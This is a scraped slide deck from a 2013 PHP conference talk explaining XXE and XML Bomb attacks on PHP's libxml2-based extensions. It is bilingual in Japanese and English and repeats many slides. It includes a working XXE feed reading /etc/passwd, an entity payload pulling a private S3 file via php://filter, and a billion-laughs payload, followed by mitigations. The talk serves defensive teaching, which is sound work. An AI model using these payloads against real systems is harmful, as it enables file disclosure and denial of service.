SlideShare ist ein Scribd-Unternehmen logo
1 von 91
Downloaden Sie, um offline zu lesen
XML と PHP のイケナイ関係
(セキュリティ的な意味で)
-Introduction of XXE attack and XML Bomb with PHP-
(English subtitles are available!)
Kousuke Ebihara (海老原昂輔)
<kousuke@co3k.org>
• Kousuke Ebihara (海老原昂輔) a.k.a @co3k
• work at 株式会社手嶋屋
• a developer of OpenPNE
• coding, code-review, performance, security
• PHP カンファレンス初参戦
自己紹介
-Introduction-
XMLExtensible Markup Language
RSS / ATOM / XHTML / SVG /
OpenDocument / XLIFF / KML /
XSLT / SOAP / SAML / XUL /
OpenSearch ...
libxml2 is free software license (MIT license),
not JSON license :) (You can use for Evil)
意識調査
-PHPer Survey-
a)Do you know XML External Entity Injection (XXE)
and / or XML Entity Expansion (XML Bomb, Billion Laughs
Attack)?
b)Have you used XML-related extensions (PHP DOM,
SimpleXML, XMLReader, ...)?
意識調査
-PHPer Survey-
c) Have you used libxml_disable_entity_loader()?
DEMONSTRATION
• シンプルな RSS リーダ
A simple RSS Reader
• 任意の RSS / ATOM の URL を受け入れる
accepts any of URLs for RSS or ATOM feed
• 各エントリのタイトルを列挙するだけ
enumerates titles of per entries
• URL が HTTP プロトコルのものであること、サイズが 1MB 以内
であること、 整形式の XML としてパースできることをチェックする
makes sure a protocol of the URL is HTTP, the contents can be parsed as well-formed XML
and its length is within 1 MB
デモの想定
-About demo script-
• You can get all of the code from : https://github.com/ebihara/phpcon2013-ja-
xxe-demo/blob/master/web/index.php#L85
パース部分のコード
-Parse-
• You can get all of the code from : https://github.com/ebihara/phpcon2013-ja-
xxe-demo/blob/master/template/success.twig
出力部分のコード
-Output-
普通のフィードを入力した場合
-A case of inputting normal RSS / ATOM feed-
攻撃用フィードその 1
-The exploit feed part 1-
• You can get this XML from : https://gist.github.com/ebihara/
0f2bbc55b5f7916545fe
攻撃用フィードを入力した場合
-A case of inputting the exploit feed part 1-
攻撃用フィードを入力した場合
-A case of inputting the exploit feed part 1-
サーバ上の /etc/passwd の内容が!
A content of /etc/passwd on this server!
<!DOCTYPE	 feed	 [
	 <!ENTITY	 passwd	 SYSTEM	 "file:///etc/passwd">
]>
<feed	 xmlns="http://www.w3.org/2005/Atom">
	 	 	 	 <title>example</title>
	 	 	 	 <updated>2013-06-24T11:56:27+09:00</updated>
	 	 	 	 <id>example</id>
	 	 	 	 <entry>
	 	 	 	 	 	 <title>&passwd;</title>
	 	 	 	 	 	 <link	 href="http://example.com/"	 />
	 	 	 	 	 	 <id>http://example.com/1</id>
	 	 	 	 	 	 <updated>2013-06-26T11:56:27+09:00</updated>
	 	 	 	 	 	 <summary>...</summary>
	 	 	 	 	 	 <author>
	 	 	 	 	 	 	 	 <name>example</name>
	 	 	 	 	 	 </author>
	 	 	 	 </entry>
</feed>
なぜ /etc/passwd が?
-Why was the content of /etc/passwd displayed?-
<!DOCTYPE	 feed	 [
	 <!ENTITY	 passwd	 SYSTEM	 "file:///etc/passwd">
]>
<feed	 xmlns="http://www.w3.org/2005/Atom">
	 	 	 	 <title>example</title>
	 	 	 	 <updated>2013-06-24T11:56:27+09:00</updated>
	 	 	 	 <id>example</id>
	 	 	 	 <entry>
	 	 	 	 	 	 <title>&passwd;</title>
	 	 	 	 	 	 <link	 href="http://example.com/"	 />
	 	 	 	 	 	 <id>http://example.com/1</id>
	 	 	 	 	 	 <updated>2013-06-26T11:56:27+09:00</updated>
	 	 	 	 	 	 <summary>...</summary>
	 	 	 	 	 	 <author>
	 	 	 	 	 	 	 	 <name>example</name>
	 	 	 	 	 	 </author>
	 	 	 	 </entry>
</feed>
なぜ /etc/passwd が?
-Why was the content of /etc/passwd displayed?-
<!DOCTYPE	 feed	 [
	 <!ENTITY	 passwd	 SYSTEM	 "file:///etc/passwd">
]>
<feed	 xmlns="http://www.w3.org/2005/Atom">
	 	 	 	 <title>example</title>
	 	 	 	 <updated>2013-06-24T11:56:27+09:00</updated>
	 	 	 	 <id>example</id>
	 	 	 	 <entry>
	 	 	 	 	 	 <title>&passwd;</title>
	 	 	 	 	 	 <link	 href="http://example.com/"	 />
	 	 	 	 	 	 <id>http://example.com/1</id>
	 	 	 	 	 	 <updated>2013-06-26T11:56:27+09:00</updated>
	 	 	 	 	 	 <summary>...</summary>
	 	 	 	 	 	 <author>
	 	 	 	 	 	 	 	 <name>example</name>
	 	 	 	 	 	 </author>
	 	 	 	 </entry>
</feed>
なぜ /etc/passwd が?
-Why was the content of /etc/passwd displayed?-
<!DOCTYPE	 feed	 [
	 <!ENTITY	 passwd	 SYSTEM	 "file:///etc/passwd">
]>
<feed	 xmlns="http://www.w3.org/2005/Atom">
	 	 	 	 <title>example</title>
	 	 	 	 <updated>2013-06-24T11:56:27+09:00</updated>
	 	 	 	 <id>example</id>
	 	 	 	 <entry>
	 	 	 	 	 	 <title>&passwd;</title>
	 	 	 	 	 	 <link	 href="http://example.com/"	 />
	 	 	 	 	 	 <id>http://example.com/1</id>
	 	 	 	 	 	 <updated>2013-06-26T11:56:27+09:00</updated>
	 	 	 	 	 	 <summary>...</summary>
	 	 	 	 	 	 <author>
	 	 	 	 	 	 	 	 <name>example</name>
	 	 	 	 	 	 </author>
	 	 	 	 </entry>
</feed>
なぜ /etc/passwd が?
-Why was the content of /etc/passwd displayed?-
<!DOCTYPE	 feed	 [
	 <!ENTITY	 passwd	 SYSTEM	 "file:///etc/passwd">
]>
<feed	 xmlns="http://www.w3.org/2005/Atom">
	 	 	 	 <title>example</title>
	 	 	 	 <updated>2013-06-24T11:56:27+09:00</updated>
	 	 	 	 <id>example</id>
	 	 	 	 <entry>
	 	 	 	 	 	 <title>&passwd;</title>
	 	 	 	 	 	 <link	 href="http://example.com/"	 />
	 	 	 	 	 	 <id>http://example.com/1</id>
	 	 	 	 	 	 <updated>2013-06-26T11:56:27+09:00</updated>
	 	 	 	 	 	 <summary>...</summary>
	 	 	 	 	 	 <author>
	 	 	 	 	 	 	 	 <name>example</name>
	 	 	 	 	 	 </author>
	 	 	 	 </entry>
</feed>
nobody:*:-2:-2:Unprivileged User:/var/empty:/us..
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin..
なぜ /etc/passwd が?
-Why was the content of /etc/passwd displayed?-
<!DOCTYPE	 feed	 [
	 <!ENTITY	 passwd	 SYSTEM	 "file:///etc/passwd">
]>
<feed	 xmlns="http://www.w3.org/2005/Atom">
	 	 	 	 <title>example</title>
	 	 	 	 <updated>2013-06-24T11:56:27+09:00</updated>
	 	 	 	 <id>example</id>
	 	 	 	 <entry>
	 	 	 	 	 	 <title>&passwd;</title>
	 	 	 	 	 	 <link	 href="http://example.com/"	 />
	 	 	 	 	 	 <id>http://example.com/1</id>
	 	 	 	 	 	 <updated>2013-06-26T11:56:27+09:00</updated>
	 	 	 	 	 	 <summary>...</summary>
	 	 	 	 	 	 <author>
	 	 	 	 	 	 	 	 <name>example</name>
	 	 	 	 	 	 </author>
	 	 	 	 </entry>
</feed>
XML External Entity (XXE) Attack
nobody:*:-2:-2:Unprivileged User:/var/empty:/us..
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin..
なぜ /etc/passwd が?
-Why was the content of /etc/passwd displayed?-
復習: エンティティ
-REVIEW about Entity-
&lt;strong&gt;I &hearts; PHP&lt;/strong&gt;
復習: エンティティ
-REVIEW about Entity-
&lt;strong&gt;I &hearts; PHP&lt;/strong&gt;
<strong>I ♥ PHP</strong>
復習: エンティティ
-REVIEW about Entity-
&lt;strong&gt;I &hearts; PHP&lt;/strong&gt;
<strong>I ♥ PHP</strong>
•エンティティの指す値は DTD (文書型定義) にて定義される
Entity-referenced value is defined in DTD
•エンティティ値の定義にはエンティティを含むことができる
Definition of entity value can contain entity
•URI の示す値をエンティティ値の定義に用いることができる (外部エンティティ宣言)
URI reference can be used in definition of entity value (External Entity Declaration)
外部エンティティ解決のフロー (概要)
-External Entity resolution flow (summaries)-
外部エンティティ解決のフロー (概要)
-External Entity resolution flow (summaries)-
Parse XML
外部エンティティ解決のフロー (概要)
-External Entity resolution flow (summaries)-
Parse XML
Parse DOCTYPE
外部エンティティ解決のフロー (概要)
-External Entity resolution flow (summaries)-
Parse XML
Parse DOCTYPE
Parse ENTITY declarations
外部エンティティ解決のフロー (概要)
-External Entity resolution flow (summaries)-
Parse XML
Parse DOCTYPE
Parse ENTITY declarations
Resolve external entities
外部エンティティ解決のフロー (概要)
-External Entity resolution flow (summaries)-
Parse XML
Parse DOCTYPE
Parse ENTITY declarations
Resolve external entities
libxml2 entity loader
http://
local file
外部エンティティ解決のフロー (概要)
-External Entity resolution flow (summaries)-
Parse XML
Parse DOCTYPE
Parse ENTITY declarations
Resolve external entities
libxml2 entity loader
http://
local file
PHP entity loader
file:// expect:// gopher:// php://
XXE の脅威 (概要)
-Threats of XXE (summaries)-
• ローカルファイルの漏洩
Disclosure of server local file
• いわゆる SSRF (Server Side Request Forgery) による脅威全般
• 認証をおこなわない API やプロトコルを経由した非公開情報の漏洩
Disclosure of private informations via non-authenticated API or protocol
• 内部ネットワークに対するポートスキャン
Port scanning to the internal network
• オープン済みファイルディスクリプタへのアクセス
Access to opened file descriptors
• syslog 等のログを汚染
Poisoning syslog
Amazon S3 の非公開ファイルにアクセスする
-DEMO: Access to private file in Amazon S3-
$s3 = S3Client::factory([
'key' => '*****',
'secret' => '*****',
);
$s3->registerStreamWrapper();
echo file_get_contents('s3://phpcon/ebihara-150x150.jpg');
s3:// スキームで Amazon S3 のコンテンツを取得可能に
Now we can fetch Amazon S3 content via s3:// scheme.
Amazon S3 の非公開ファイルにアクセスする
-DEMO: Access to private file in Amazon S3-
	 <!ENTITY	 kurorekishi	 SYSTEM
	 "php://filter/convert.base64-encode/
resource=s3://phpcon/ebihara-kaicho.jpg">
• S3 用のストリームラッパーを利用して非公開ファイルの内容を取得
Get private file content by using Amazon S3 Stream Wrapper
• エンティティ値を展開した後の文書全体を整形式の XML としてパースできるように
する必要があるので、そのままではバイナリ値は取得できない
Entity values are embedded as a part of XML document and it should be parsed as well-formed XML since we can’t
get raw binary data
• そのため、 PHP のストリームフィルタ機能を用いて base64 エンコードを施した上で
出力
So the above example outputs base64 encoded binary data by using PHP’s stream filter features
攻撃用フィードその 2
-The exploit feed part 2-
• You can get this XML from : https://gist.github.com/ebihara/
a653693e07f9795bc525
攻撃用フィードを入力した場合
-A case of inputting the exploit feed part 2-
大量の CPU とメモリが消費される!
It consumes a lot of CPU and memory resources!
攻撃用フィードを入力した場合
-A case of inputting the exploit feed part 2-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
<!DOCTYPE feed [
<!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!...">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
**SNIP**
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
<!ENTITY bomb "&a10;&a10;">
**SNIP**
<title>&bomb;</title>
**SNIP**
大量のメモリ割り当ての原因
-A cause of the tiny memory allocations-
XML Entity Expansion Attack
(XML Bomb)
XML Bomb の脅威
-Threats of XML Bomb-
•DoS
影響を受ける PHP 拡張
-Which PHP extensions are affected?-
• DOM
• SimpleXML
• XMLReader (but the default is safe :)
• SOAP (but fixed as CVE-2013-1635 :)
*NOTE: Oh, xml_parser(), is a legacy XML Parser funcion, is safe!! :) Because it
doesn’t use libxml2 to parse XMLs
脆弱な DOM 拡張の使用例
-An example of vulnerable code using DOM-
// vulnerable
$dom->load('/path/to/evil.xhtml');
$dom->loadXML('<?xml ...');
// safe
$dom->loadHTMLFile('/path/to/evil.xhtml');
$dom->loadHTML('<!DOCTYPE ...');
HTML5 with libxml2
• 現状の libxml2 は HTML5 をサポートしていない
The current version of libxml2 doesn’t support HTML5 yet
• HTML4 でサポートされていない要素や属性を用いたドキュメントを
DOMDocument::loadHTML() でパースすると警告が発生する
Warnings are occurred when DOMDocument::loadHTML() parses documents which have non-
HTML4 elements or attributes
• 警告を無視するか、 XXE への対策を入れて XML としてパースする
必要がある
So we need ignore such warnings or parse as XML with against XXE
See Also: PHP DOM (libxml2) only understands XHTML4, misinterprets HTML5, but D8 must cope with HTML5
[#1333730] | Drupal
脆弱な SimpleXML 拡張の使用例
-An example of vulnerable code using SimpleXML-
$xml = new SimpleXMLElement('<?xml ...');
$xml = new SimpleXMLElement('/path/to/evil.xml',
null, true);
$xml = simplexml_load_string('<?xml ...');
$xml = simplexml_load_file('/path/to/evil.xml');
脆弱な XMLReader 拡張の使用例
-An example of vulnerable code using XMLReader-
XMLReader 使用時に�SUBST_ENTITIES オプションを指
定しない限り XXE や XML Bomb の影響を受けない。
You can avoid XXE and XML Bomb to use XML Reader without
SUBST_ENTITIES option.
$xml = new XMLReader();
$xml->xml($content);
$xml->setParserProperty(
XMLReader::SUBST_ENTITIES
, true);
Wait, what version of
libxml2 on this demo?
Wait, what version of
libxml2 on this demo?
2008/04/08 にリリースされた
libxml 2.6 系の最終バージョンで、
とうの昔のバージョンだしサンプルと
しては適さない……?
The final version of libxml 2.6 series, is released 2008/04/08,
so this is very old and arbitrary example ... really?
• libxml 2.7.0 (2008/08/30)
• strengthen some of the internal parser limits ...
(https://git.gnome.org/browse/libxml2/commit/?id=8915c)
• libxml 2.7.3 (2009/01/18)
• XML_MAX_TEXT_LENGHT (sic) limiting the maximum
size of a single text node, the defaultis (sic) 10MB ...
(https://git.gnome.org/browse/libxml2/commit/?id=1fb2e)
History of
libxml2 vs XML Bomb
• libxml 2.9.0 (2012/09/11)
• Do not fetch external parsed entities ...
(https://git.gnome.org/browse/libxml2/commit/?id=4629e)
History of
libxml2 vs XXE
ディストリビューションの配布パッケージ
-Situations of distributions’ provided libxml2-
libxml 2.6
(XXE & XML Bomb)
libxml 2.7, 2.8
(XXE)
libxml 2.9
CentOS
Debian
Fedora
Ubuntu
5 6
Wheezy(stable)
Squeeze(old stable)
Sid (unstable)
19
18
10.04 (LTS)
12.04 (LTS)
12.10
13.04
13.10
ディストリビューションの配布パッケージ
-Situations of distributions’ provided libxml2-
libxml 2.6
(XXE & XML Bomb)
libxml 2.7, 2.8
(XXE)
libxml 2.9
CentOS
Debian
Fedora
Ubuntu
5 6
Wheezy(stable)
Squeeze(old stable)
Sid (unstable)
19
18
10.04 (LTS)
12.04 (LTS)
12.10
13.04
13.10
パッチによって
XML Bomb は
対策済
This XML Bomb vuln is
patched now in RHEL :)
ディストリビューション配布版 libxml2 と XXE
-Distributions’ libxml2 and XXE-
• CentOS (RHEL)
• I’ve confirmed fix XEE vuln in CentOS 6
• Ubuntu (Patched in Jul, 2013)
• Bug #1194410 “Apply upstream patch to close XXE vulnerability in...” : Bugs : “libxml2”
package : Ubuntu
• Debian (Patched in ... Mar, 2013?)
• I’ve NOT confirmed fix XEE vuln in stable (2.8.0+dfsg1-7+nmu1) and old-stable
• But ... it looks like that Debian project patched stable and old-stable (security)
in http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=702260
PREVENTION
Use libxml 2.9
Use libxml 2.9
Use libxml 2.9
Use libxml 2.9
PHP 側でできる XML Bomb 対策
-Against XML Bomb in PHP script-
PHP 側でできる XML Bomb 対策
-Against XML Bomb in PHP script-
• 一応いくつか軽減策を選ぶことはできますが……
Okay, okay, you can choose some mitigations...
• DOCTYPE が含まれていた時点で拒否
Deny DOCTYPE
• ENTITY 読み込み部分を自力で取り除く
Remove ENTITY inclusion by your self
PHP 側でできる XML Bomb 対策
-Against XML Bomb in PHP script-
• libxml_disable_entity_loader(true)
• PHP 側で外部エンティティを解決するときにこれが true
であれば処理を終了する
The external entity loader in PHP does not continue its process if this argument
is true
PHP 側でできる XXE 対策
-Against XEE in PHP script-
$old = libxml_disable_entity_loader(true);
$xml = new SimpleXMLElement($content);
libxml_disable_entity_loader($old);
External Entity resolution flow after
libxml_disable_entity_loader(true)
Parse XML
Parse DOCTYPE
Parse ENTITY declarations
Resolve external entities
http://
PHP entity loader
file:// expect:// php://gopher://
External Entity resolution flow after
libxml_disable_entity_loader(true)
Parse XML
Parse DOCTYPE
Parse ENTITY declarations
Resolve external entities
http://
PHP entity loader
file:// expect:// php://gopher://
External Entity resolution flow after
libxml_disable_entity_loader(true)
Parse XML
Parse DOCTYPE
Parse ENTITY declarations
Resolve external entities
http://
PHP entity loader
file:// expect:// php://
外部エンティティローダ
が無効なのでコンテンツ
が読み込めなくなった
External entity loader is disabled so it can not
load any contents
gopher://
• 【注意】 libxml_disable_entity_loader(true) は XML 「ファイル」を読
み込むことを期待した関数の動作も無効化します
WARN!!! libxml_disable_entity_loader(true) kills XML **file** loading functions!!!
(DOMDocument::load(), simplexml_load_file(), XMLReader::open())
• これらの関数は libxml2 の機能を使用して XML ファイルを読み込む
際にエンティティローダを流用しているため
Because they use the entity loader to load XML file in libxml2
• したがって、 libxml2 に依存した関数の外で事前に XML ファイルを
読み込んでおく必要があります
So you need to pre-load XML contents outside of libxml2 depended functions
PHP 側でできる XXE 対策
-Against XEE in PHP script-
REAL WORLD EXAMPLE
• 海老原が所有しているセキュリティ関連書籍のうち、 XXE もしくは
XML Bomb に関する言及があるものを調査
• ただし、「特定の脆弱性 (XSS など) にテーマを絞った書籍」「セ
キュアコーディング手法がテーマではない書籍 (pentest 関
連、マネジメント手法などに関する書籍)」は調査対象から除外
• 索引と目次から XML, XXE, XEE, Billion Laughs などのキーワ
ードが見つからなかったものはその時点で「言及なし」とした
書籍での言及状況
(No English subtitles)
• 言及あり
• Paco Hope, Ben Walther 著 『Web Security Testing Cookbook』, O’Reilly, 2008 年
• Michal Zalewski 著 『めんどうくさい Web セキュリティ』 翔泳社, 2012 年
• 言及なし
• マイケル・ハワード, デイビッド・ルブラン 著 『Writing Secure Code 第2版』日経BPソフトプレス, 2004 年
• GIJOE 著 『PHP サイバーテロの技法』 ソシム, 2005 年
• Robert C. Seacord 著 『C/C++ セキュアコーディング』 アスキー, 2006 年
• Chris Shiflett 著 『入門 PHP セキュリティ』 オライリー・ジャパン, 2006 年
• 大垣靖男著 『Web アプリセキュリティ対策入門』 技術評論社, 2006 年
• 金床著 『ウェブアプリケーションセキュリティ』 データハウス, 2007 年
